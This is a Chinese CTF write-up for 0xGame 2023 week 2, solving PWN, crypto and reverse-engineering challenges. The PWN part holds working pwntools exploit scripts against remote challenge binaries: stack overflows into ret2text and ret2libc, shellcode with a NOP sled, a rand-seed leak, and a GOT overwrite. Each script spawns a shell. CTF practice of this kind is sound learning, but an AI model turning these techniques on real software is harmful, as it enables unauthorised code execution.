整理一下，昨天该第二周了。今天应该9点结束提交，等我写完就到了。
PWN
找不到且不对劲的flag
第1题是个nc测试，但也不完全是，因为flag在隐含目录里
高端的syscall
程序使用了危险函数，并且没有canary阻止，gets会形成溢出。并且有后门，直接溢出到后门即可，但是这个题不清楚哪作错了，确一直打不通syscall，最后只能用才办公先泄露libc再system(bin/sh)
from pwn import *#p = process('./ret2syscall')
p = remote('8.130.35.16', 51004)
context(arch='amd64', log_level='debug')elf = ELF('./ret2syscall')
pop_rdi = 0x00000000004012e3 # pop rdi ; ret
pop_rsi = 0x00000000004012e1 # pop rsi ; pop r15 ; ret
set_rax = 0x401196
syscall = 0x4011ae
bss = 0x404800 #gdb.attach(p, 'b*0x401273\nc')p.sendlineafter(b"Input: \n", flat(0,0,bss, pop_rdi, elf.got['puts'], 0x401258))libc_addr = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x84420
bin_sh = libc_addr + 0x1b45bd
system = libc_addr + 0x52290
print(f"{ libc_addr = :x}")p.sendline(flat(0,0,0x404f00, pop_rdi, bin_sh, pop_rsi, 0,0, system))p.interactive()永远进不去的后门
int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[8]; // [rsp+0h] [rbp-40h] BYREFint v5; // [rsp+8h] [rbp-38h]bufinit();puts("Welcome to 0xGame2023!");puts("Tell me sth interesting, and I will give you what you want.");read(0, buf, 0x100uLL);if ( v5 % 2023 == 2023 )system("/bin/sh");elseputs("Not that interesting. Bye.");return 0;
}由于模2023后不可能等于2023，所以也就永远也不能直接进去，不过可以通过溢出进去。这里通过看汇编得到system的地址，再溢出即可
from pwn import *#p = process('./ret2text')
p = remote('8.130.35.16', 51002)
context(arch='amd64', log_level='debug')p.sendafter(b'.\n', b'\x00'*0x48 + p64(0x401298))
p.interactive()随便乱搞的shellcode
int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v3; // eaxchar *buf; // [rsp+8h] [rbp-8h]void (*bufa)(void); // [rsp+8h] [rbp-8h]bufinit(argc, argv, envp);buf = (char *)mmap((void *)0x20230000, 0x1000uLL, 7, 34, -1, 0LL);puts("Now show me your code:");read(0, buf, 0x100uLL);puts("Implementing security mechanism...");v3 = time(0LL);srand(v3);bufa = (void (*)(void))&buf[rand() % 256];close(1);puts("Done!");bufa();return 0;
}先生成一个可写可执行的段20230000，然后读入shellcode并执行。
1，这里的rand生成一个长度值，会在这个值后执行。可以在前边补nop大概率命中成功
2，close(1)关闭了标准输出，这个可以在进入shell后执行 exec 1>&0将输出重定向到0
3，shellcode可以直接利用pwntools的shellcode.sh()生成
from pwn import *#p = process('./ret2text')
p = remote('8.130.35.16', 51003)
context(arch='amd64', log_level='debug')p.sendafter(b':', asm(shellcraft.sh()).rjust(0x100, b'\x90'))p.sendline(b'exec 1>&0')
p.sendline(b'cat flag')
p.interactive()字符串和随机数
void __noreturn bot()
{int v0; // [rsp+Ch] [rbp-14h] BYREFunsigned int v1; // [rsp+10h] [rbp-10h]int v2; // [rsp+14h] [rbp-Ch]unsigned int v3; // [rsp+18h] [rbp-8h]char v4; // [rsp+1Fh] [rbp-1h]puts("Welcome to SOC2023!.");printf("Name: ");read(0, name, 0x20uLL);printf("Password: ");read(0, pass, 0x20uLL);if ( !strncmp(name, "admin", 5uLL) && !strcmp(pass, "1s_7h1s_p9ss_7tuIy_sAf3?") ){printf("Welcome back, %s!\n", name);sleep(1u);printf("New email from %s, title: %s", "0xGame2023 admin", "Env now up! Flag here!\n");printf("Wanna see it?");v4 = getchar();if ( v4 == 'y' || v4 == 89 ){sleep(1u);puts("Warning! Security alert!");printf("Input the security code to continue: ");v3 = rand() ^ 0xD0E0A0D0;v2 = rand() ^ 0xB0E0E0F;v1 = (v2 ^ v3) % 0xF4240;__isoc99_scanf("%d", &v0);if ( v1 == v0 )printf("Email content: %s\n", flag);elseperror("Challenge fail! Abort!\n");}}else{perror("Credential verification failed!\n");}puts("See you next time!");exit(0);
}程序先读入用户名和密码，对式成功后需要猜一个随机数。
1，在bss段里，seed在name后，且与name相邻，并且name仅检查前5个字符，name输入满0x20时与seed相边，输出时可以泄露。
2，pass输入完后要输入\0截断
3，通过调用ctypes库，运行rand函数得到密文
from pwn import *#p = process('./ret2text')
p = remote('8.130.35.16', 51001)
context(arch='amd64', log_level='debug')from ctypes import *
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")p.sendafter(b"Name: ", b'admin'.ljust(0x20))
p.sendafter(b"Password: ", b"1s_7h1s_p9ss_7tuIy_sAf3?\x00")p.recvuntil(b'admin'.ljust(0x20))
seed = u32(p.recv(4))clibc.srand(seed)
p.sendafter(b"Wanna see it?", b'Y')
v1 = (clibc.rand() ^ clibc.rand() ^ 0xD0E0A0D0 ^ 0xB0E0E0F) % 0xF4240p.sendlineafter(b"Input the security code to continue: ", str(v1).encode())print(p.recvline())
p.interactive()我后门呢？
int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[32]; // [rsp+0h] [rbp-20h] BYREFbufinit();puts("There won't be shell for you!");puts("Now give me your input:");read(0, buf, 0x100uLL);if ( strlen(buf) > 0x20 ){puts("No chance for you to overflow!");exit(1);}puts("See you next time!");return 0;
}这个题应该算是pwn里的基础打法，前边都是教学。这里有溢出，先通过溢出获取libc 加载地址，然后再回到原程序，再执行 system(bin/sh)
from pwn import *#p = process('./ret2text')
p = remote('8.130.35.16', 51005)
context(arch='amd64', log_level='debug')elf = ELF('./ret2libc')
libc = ELF('./libc.so.6')
pop_rdi = 0x0000000000401333 # pop rdi ; ret
pop_rsi = 0x0000000000401331 # pop rsi ; pop r15 ; ret
bss = 0x404800p.sendafter(b"Now give me your input:", b'\x00'*0x20 + flat(bss, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['main']))
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")bin_sh = next(libc.search(b'/bin/sh\x00'))p.sendafter(b"Now give me your input:", b'\x00'*0x20 + flat(bss, pop_rdi, bin_sh, pop_rsi, 0,0, libc.sym['system']))p.interactive()got-it
程序有4项，add,edit,show和trick(退出时执行)
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{int v3; // [rsp+Ch] [rbp-4h] BYREFbufinit();while ( 1 ){menu();__isoc99_scanf("%d", &v3);if ( v3 == 8227 )break;if ( v3 <= 8227 ){if ( v3 == 4 ){puts("Thanks for using!");exit(0);}if ( v3 <= 4 ){switch ( v3 ){case 3:edit();break;case 1:add();break;case 2:show();break;}}}}trick();
}add在第n个list偏移处写8字节
int add()
{int v1; // [rsp+Ch] [rbp-4h] BYREFprintf("Input student id: ");__isoc99_scanf("%d", &v1);if ( v1 > 15 )return puts("Invalid id!");printf("Input student name: ");return read(0, &list[8 * v1], 8uLL);
}同理，edit和show分别是写和显示（edit==add）,trick则执行exit(/bin/sh)显然是要改got[exit]为system
void __noreturn trick()
{exit((int)"/bin/sh");
}漏洞点：v1是有符号数，但只检查<=15，所以指针可以向前溢出
list位置是0x4040a0,前边是got表，而且got表没有保护，可以通过前溢出修改和show got表。
思路是，先通过前溢出show got表得到libc然后将got[exit]改为system然后在退出循环后执行exit[/bin/sh]
from pwn import *#p = process('./got-it')
p = remote('8.130.35.16', 51006)
context(arch='amd64', log_level='debug')elf = ELF('./got-it')
libc = ELF('./libc.so.6')def add(id, v):p.sendlineafter(b">> ", b'1')p.sendlineafter(b"Input student id: ", str(id).encode())p.sendafter(b'Input student name: ', v)def show(id):p.sendlineafter(b">> ", b'2')p.sendlineafter(b"Input student id: ", str(id).encode())add(0, b';/bin/sh')
show(-16)
p.recvuntil(b"Student name: ")
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc.sym['printf']#gdb.attach(p, "b*0x401477\nc")add(-11, p64(libc.sym['system']))p.sendlineafter(b">> ", b'8227')p.interactive()
CRYPTO
What's CBC?
from Crypto.Util.number import *
from secret import flag,keydef bytes_xor(a,b):a,b=bytes_to_long(a),bytes_to_long(b)return long_to_bytes(a^b)def pad(text):if len(text)%8:return textelse:pad = 8-(len(text)%8)text += pad.to_bytes(1,'big')*padreturn textdef Encrypt_CBC(text,iv,key):result = b''text = pad(text)block=[text[_*8:(_+1)*8] for _ in range(len(text)//8)]for i in block:tmp = bytes_xor(iv,i)iv = encrypt(tmp,key)result += ivreturn resultdef encrypt(text,key):result = b''for i in text:result += ((i^key)).to_bytes(1,'big')return resultiv = b'11111111'
enc = (Encrypt_CBC(flag,iv,key))
print(f'enc = {enc}')enc = b"\x8e\xc6\xf9\xdf\xd3\xdb\xc5\x8e8q\x10f>7.5\x81\xcc\xae\x8d\x82\x8f\x92\xd9o'D6h8.d\xd6\x9a\xfc\xdb\xd3\xd1\x97\x96Q\x1d{\\TV\x10\x11"
简单的CBC加密方法，先生成一个iv，然后每将加密都先用明文与iv异或后再作加密处理，并将上一块的密文作为下一块的iv继续加密下一块。这里的加密比较简单就是个1字节的异或。
这里先用第1块爆破一下key得到143再解密
enc = b"\x8e\xc6\xf9\xdf\xd3\xdb\xc5\x8e8q\x10f>7.5\x81\xcc\xae\x8d\x82\x8f\x92\xd9o'D6h8.d\xd6\x9a\xfc\xdb\xd3\xd1\x97\x96Q\x1d{\\TV\x10\x11"from pwn import xor v = xor(enc[:8], b'1')
for i in range(256):print(i, xor(v,bytes([i])))key = 143
for i in range(8, len(enc),8):print(xor(enc[i-8:i], xor(bytes([key]),enc[i:i+8])))#0xGame{098f6bcd4621d373cade4e832627b4f6}密码，觅码，先有*再密
from secret import flag #从中导入秘密的flag，这是我们要破解的信息
from Crypto.Util.number import bytes_to_long #从函数库导入一些编码函数
from base64 import b64encode#hint:也许下列函数库会对你有些帮助，但是要怎么用呢……
from base64 import b64decode
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytesflag = flag.encode()
lent = len(flag)
flag = [flag[i*(lent//4):(i+1)*(lent//4)] for i in range(4)]#将flag切割成四份c1 = bytes_to_long(flag[0])
c2 = ''.join([str(bin(i))[2:] for i in flag[1]])
c3 = b64encode(flag[2])
c4 = flag[3].hex()
print(f'c1?= {pow(c1,5)}\nc2 = {c2}\nc3 = {c3}\nc4 = {c4}')'''
c1?= 2607076237872456265701394408859286660368327415582106508683648834772020887801353062171214554351749058553609022833985773083200356284531601339221590756213276590896143894954053902973407638214851164171968630602313844022016135428560081844499356672695981757804756591891049233334352061975924028218309004551
c2 = 10010000100001101110100010100111101000111110010010111010100001101110010010111111101000011110011010000001101011111110011010011000101011111110010110100110100000101110010010111101100101011110011110111100
c3 = b'lueggeeahO+8jOmCo+S5iOW8gOWni+aIkQ=='
c4 = 'e4bbace79a8443727970746fe68c91e68898e590a72121217d'
'''
#全是乱码，那咋办嘛？
python要调用很多库，这题也是对一些库函数的测试。
分4段进行加密，1是转整再5次幂，2是转二进制，3是base64，4是16进制，最后合起来是乱码bytes转str用utf-8(默认值)
'''
>>> e1 = long_to_bytes(iroot(c1,5)[0])
>>> e2 = bytes([int(c2[i:i+8],2) for i in range(0, len(c2),8)])
>>> e3 = b64decode(c3)
>>> e4 = bytes.fromhex(c4)
m = e1+e2+e3+e4
>>> m.decode()
'0xGame{ 恭喜你,已经理解了信息是如何编码的，那么开始我们的Crypto挑战吧!!!}'
'''Take my bag!
一看吓我一跳，入门怎么会有这个。再看一下，这个包很小，没有取模（c显然比n小很多，flag没那么长，所以只用到序列的小的部分）。
from Crypto.Util.number import *
from secret import flagdef encrypt(m):m = str(bin(m))[2:][::-1]enc = 0for i in range(len(m)):enc += init[i] * int(m[i]) % nreturn encw = getPrime(64)
n = getPrime(512)
init = [w*pow(3, i) % n for i in range(512)]c = encrypt(bytes_to_long(flag))print(f'w={w}')
print(f'n={n}')
print(f'c={c}')'''
w=16221818045491479713
n=9702074289348763131102174377899883904548584105641045150269763589431293826913348632496775173099776917930517270317586740686008539085898910110442820776001061
c=4795969289572314590787467990865205548430190921556722879891721107719262822789483863742356553249935437004378475661668768893462652103739250038700528111
'''
先生成一个逐渐增加的序列，每一项都大于前面项的和。分解与每一位（0/1）相乘，取和。解密方法就是从大向小，够减就是1减掉，不够减就是0
init = [w*pow(3, i) % n for i in range(512)]m = ''
for v in init[::-1]:if c>=v:m+='1'c-=v else:m+='0'flag = ''
for i in range(0, len(m), 8):flag += chr(int(m[i:i+8],2))#0xGame{Welc0me_2_Crypt0_G@me!#$&%}BabyRSA
RSA的入门题，n由小素数组成，可以很容易分解。
from Crypto.Util.number import *
from random import getrandbits
from secret import flagdef getN():N = 1for i in range(16):tmp = getPrime(32)N *= tmpreturn Nmask = getrandbits(256)
e = 65537
n = getN()
m = bytes_to_long(flag)
c = pow(m*mask,e,n)
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
print(f'mask = {mask}')'''
n = 93099494899964317992000886585964221136368777219322402558083737546844067074234332564205970300159140111778084916162471993849233358306940868232157447540597
e = 65537
c = 54352122428332145724828674757308827564883974087400720449151348825082737474080849774814293027988784740602148317713402758353653028988960687525211635107801
mask = 54257528450885974256117108479579183871895740052660152544049844968621224899247
'''
这个题可以先分解n然后求phi，这里我直接用sage里有euler_phi求（因为n由小素数组成），虽然是入门题，怎么打都可以。但如果玩CTF走到密码这个方向sagemath是绕不过去的。
mm = pow(c, inverse_mod(e, euler_phi(n)), n)
m = int(mm) // mask
from Crypto.Util.number import long_to_bytes
long_to_bytes(int(m)//mask)
b'0xGame{Magic_M@th_Make_Crypt0}'猜谜
from secret import flag,key
from Crypto.Util.number import *def dec(text):text = text.decode()code = 'AP3IXYxn4DmwqOlT0Q/JbKFecN8isvE6gWrto+yf7M5d2pjBuk1Hh9aCRZGUVzLS'unpad = 0tmp = ''if (text[-1] == '=') & (text[-2:] != '=='):text = text[:-1]unpad = -1if text[-2:] == '==':text = text[:-2]unpad = -2for i in text:tmp += str(bin(code.index(i)))[2:].zfill(3)tmp = tmp[:unpad]result = long_to_bytes(int(tmp,2))return resultdef enc(text):code = 'AP3IXYxn4DmwqOlT0Q/JbKFecN8isvE6gWrto+yf7M5d2pjBuk1Hh9aCRZGUVzLS'text = ''.join([str(bin(i))[2:].zfill(8) for i in text])length = len(text)pad = b''if length%3 == 1:text += '00'pad = b'=='elif length%3 == 2:text += '0'pad = b'='result = [code[int(text[3*i:3*(i+1)],2)] for i in range(0,len(text)//3)]return ''.join(result).encode()+paddef encrypt(flag):result = b''for i in range(len(flag)):result += (key[i%7]^(flag[i]+i)).to_bytes(1,'big')return resultc = enc(encrypt(flag))
print(f'c = {c}')这里的flag先通过encrypt再作enc，encrypt里与key异或，由于flag头部已知，可以直接求出key.
enc远远看上去像变列的base64，但这里只用的2进制的3位查表，这是个变表的8进制。在这里意思不大，只需要再转回2进制再转bytes就行了。
code = 'AP3IXYxn4DmwqOlT0Q/JbKFecN8isvE6gWrto+yf7M5d2pjBuk1Hh9aCRZGUVzLS'
c = 'IPxYIYPYXPAn3nXX3IXA3YIAPn3xAYnYnPIIPAYYIA3nxxInXAYnIPAIxnXYYYIXIIPAXn3XYXIYAA3AXnx'
m = ''.join([bin(code.index(i))[2:].zfill(3) for i in c])
v = bytes([int(m[i:i+8],2) for i in range(0, len(m),8)])flag = b'0xGame{'
key = xor(v[:7], bytes([i+flag[i] for i in range(7)]))
v2 = xor(v, key)
m = bytes([v-i for i,v in enumerate(v2)])
#0xGame{Kn0wn_pl@intext_Att@ck!}Vigenere
密文：0dGmqk{79ap4i0522g0a67m6i196he52357q60f} 古老而神秘的加密方式？
维吉尼亚密码，可以通过头来爆破key
REVERSE
数字筑基
前两天有个网友说，大部分逆向都可以通过grep得到，确实这里的几题给了些误解。
代码金丹
网络元婴
虚拟化神
v3先被填充密文，然后与0xGame异或，最后与明文比较。这块grep一年也出不来的。
a = bytes.fromhex('0000000000004B1B7E070E01084B234C085707196A55585309557F030C541D4E')
a += p32(0x50585475) + p32(0x2234E52) + p32(0x553045B)
key = b'0xGame'
xor(a,key)
#0xGame{c9fcd83d-e27a-4569-8ba1-62555b6dc6ac}赛博天尊
int __cdecl main(int argc, const char **argv, const char **envp)
{__int64 v3; // rax__int64 v4; // rdxchar *v5; // rcx__int64 v7; // [rsp+40h] [rbp-148h]__int64 v8; // [rsp+48h] [rbp-140h]__int64 v9; // [rsp+50h] [rbp-138h]__int64 v10; // [rsp+58h] [rbp-130h]__int64 v11; // [rsp+60h] [rbp-128h]char Buffer[256]; // [rsp+70h] [rbp-118h] BYREFsub_140001020((char *)&Format);sub_140001080("%s");v3 = -1i64;do++v3;while ( Buffer[v3] );if ( v3 != 44|| Buffer[43] != 125|| (sub_1400010E0(Buffer, "0xGame{%16llx-%16llx-%16llx-%16llx-%16llx}"),7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) != 0x12021DE669FC2i64)|| (v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7), v8 + 2 * v4 + v4 != 0x159BFFC17D045i64)|| v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) != 0xACE320D12501i64|| v8 + 2 * (v7 + v11 + v9 + 2 * v10) != 0x733FFEB3A4FAi64|| (v5 = (char *)&unk_1400032B8, v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 != 0x1935EBA54EB28i64) ){v5 = (char *)&byte_1400032D8;}sub_140001020(v5);system("pause");return 0;
}这里符号表都被删掉了，从函数的参数猜测函数功能。flag由5个数字组成，这些数符合下边的运算。
z3也是绕不过去了。
'''7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) != 0x12021DE669FC2i64)|| (v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7), v8 + 2 * v4 + v4 != 0x159BFFC17D045i64)|| v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) != 0xACE320D12501i64|| v8 + 2 * (v7 + v11 + v9 + 2 * v10) != 0x733FFEB3A4FAi64|| (v5 = (char *)&unk_1400032B8, v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 != 0x1935EBA54EB28i64) )
'''from z3 import *v7,v8,v9,v10,v11 = Ints('v7 v8 v9 v10 v11')s = Solver()
s.add(7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) == 0x12021DE669FC2)
v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7)
s.add(v8 + 3*v4 == 0x159BFFC17D045)
s.add(v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) == 0xACE320D12501)
s.add(v8 + 2 * (v7 + v11 + v9 + 2 * v10) == 0x733FFEB3A4FA)
s.add(v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 == 0x1935EBA54EB28)
s.check()d = s.model()v11 = 63356652901730
v9 = 16488
v7 = 2693650760
v8 = 14810
v10 = 41791'-'.join([hex(i)[2:] for i in [v7,v8,v9,v10,v11]])
#0xGame{a08dd948-39da-4068-a33f-399f5eca5562}还是写的晚了，到这web和misc的题都看不到了。反正这块也不是本行，题都是一点点搜着网上的例子作。都是入门题网上都能搜着作法。
